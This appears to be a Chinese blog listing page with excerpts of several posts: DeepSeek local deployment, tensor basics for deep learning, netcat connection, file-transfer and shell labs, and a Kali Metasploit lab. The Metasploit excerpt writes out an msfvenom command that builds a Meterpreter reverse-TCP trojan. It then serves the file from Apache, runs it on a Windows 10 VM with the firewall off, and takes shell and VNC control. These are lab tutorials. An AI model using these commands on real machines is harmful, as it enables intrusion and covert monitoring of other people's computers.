DeepSeek使用指南
本地部署DeepSeek方法一 LM Studio 下载安装LM Studio 拉取模型 Huggingface(需要魔法) ModelScope(不需要魔法) 修改默认模型路径 配置主题，调整参数 测试效果 方法二 Ollama+Page Assist（适合新手小白） 下载安装Ollama 拉取模型以下为可选择模型 安装Page Assist插件 测试效果 DeepSeek搭建本地知识库方法一 AnythigLLM+Ollama（适合新手小白） 下载安装AnythingLLM和Ollama 拉取模型 投喂数据 测试效果 方法二 cherry-studio Github搜索cherry-studio，下载安装 在DeepSeek官网申请API 模型服务选择深度求索，并填写APIKEY 在硅基流动官网申请嵌入模型 模型服务选择硅基流动，并填写APIKEY DeepSeek API使用场景AI翻译 在DeepSeek官网申请API 配合沉浸式翻译插件，设置DeepSeek API AI编程 在DeepSeek官网申请API VSCode安装插件 Roo...
深度学习数学基础
数据操作Q1:什么是张量在机器学习中，张量（Tensor） 是一种通用的数据表示方式，类似于标量（数值）、向量和矩阵，但可以扩展到任意维度。它是深度学习框架（如 PyTorch 和 TensorFlow）中的核心数据结构，用于表示输入数据、参数和计算结果。 标量（0维张量） 向量（1维张量） 矩阵（2维张量） 高维张量（3维及以上） 张量的特点 多维数组：张量是多维的、灵活的数组结构。 通用性：从标量到高维数组，张量是一种统一的数学表示。 维度（rank）：张量的维度表示其“轴”的数量。例如，2维张量有 2 个轴。 形状（shape）：张量每个维度的大小。例如，一个形状为 (3, 4, 5) 的张量有 3 个维度，分别包含 4 行、5 列。 张量在机器学习中的作用 表示数据：如输入的图片、文本、音频或视频都可以表示为张量。 图像：通常是 3维张量（高度×宽度×通道）。 批量处理：常用...
Web渗透工具使用
nc实验环境 kali虚拟机 CentOS虚拟机 XShell 实验内容nc实现连接通讯服务端 监听端口 nc -lnvp 端口号客户端 连接端口 nc 服务端ip 端口号客户端发送信息,服务端接收信息，演示效果如下图 nc实现文件传输服务端 nc -lnvp 端口号 > 文件名客户端 nc 服务端ip 端口号 < 文件名 nc实现正向shell和反向shell首先我们了解一下/etc/passwd路径下的文件内容的含义 /etc/passwd文件用于存储系统中所有用户的信息，每一行包含一个用户的详细信息，字段之间用冒号分隔 以doraemon:x:1000:1000:doraemon:/home/doraemon:/bin/bash为例 doraemon 用户名(Username):这是用户的名称,通常是系统中某个特定用户的标识符 x 密码占位符(Password...
利用Kali-Metasploit入侵电脑
环境准备一台kali虚拟机，一台win10主机 实验过程首先生成木马文件，放在/var/www/html路径下1msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.130 lport=6666 -f exe > /var/www/html/muma.exe 开启apache服务，使win10主机可以通过服务器(kali主机)下载木马程序1service apache2 start 打开控制台1msfconsole 关闭win10主机防火墙，并通过服务器下载木马程序 在win10主机中运行木马程序 在kali主机进行配置 成功后即可控制win10主机 shellshell命令可以打开win10主机terminal run vncrun vnc命令可以实时监控win10主机界面效果如下kali主机成功监视win10主机 详细操作请参考该视频
GNS3组网实验
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学生管理系统
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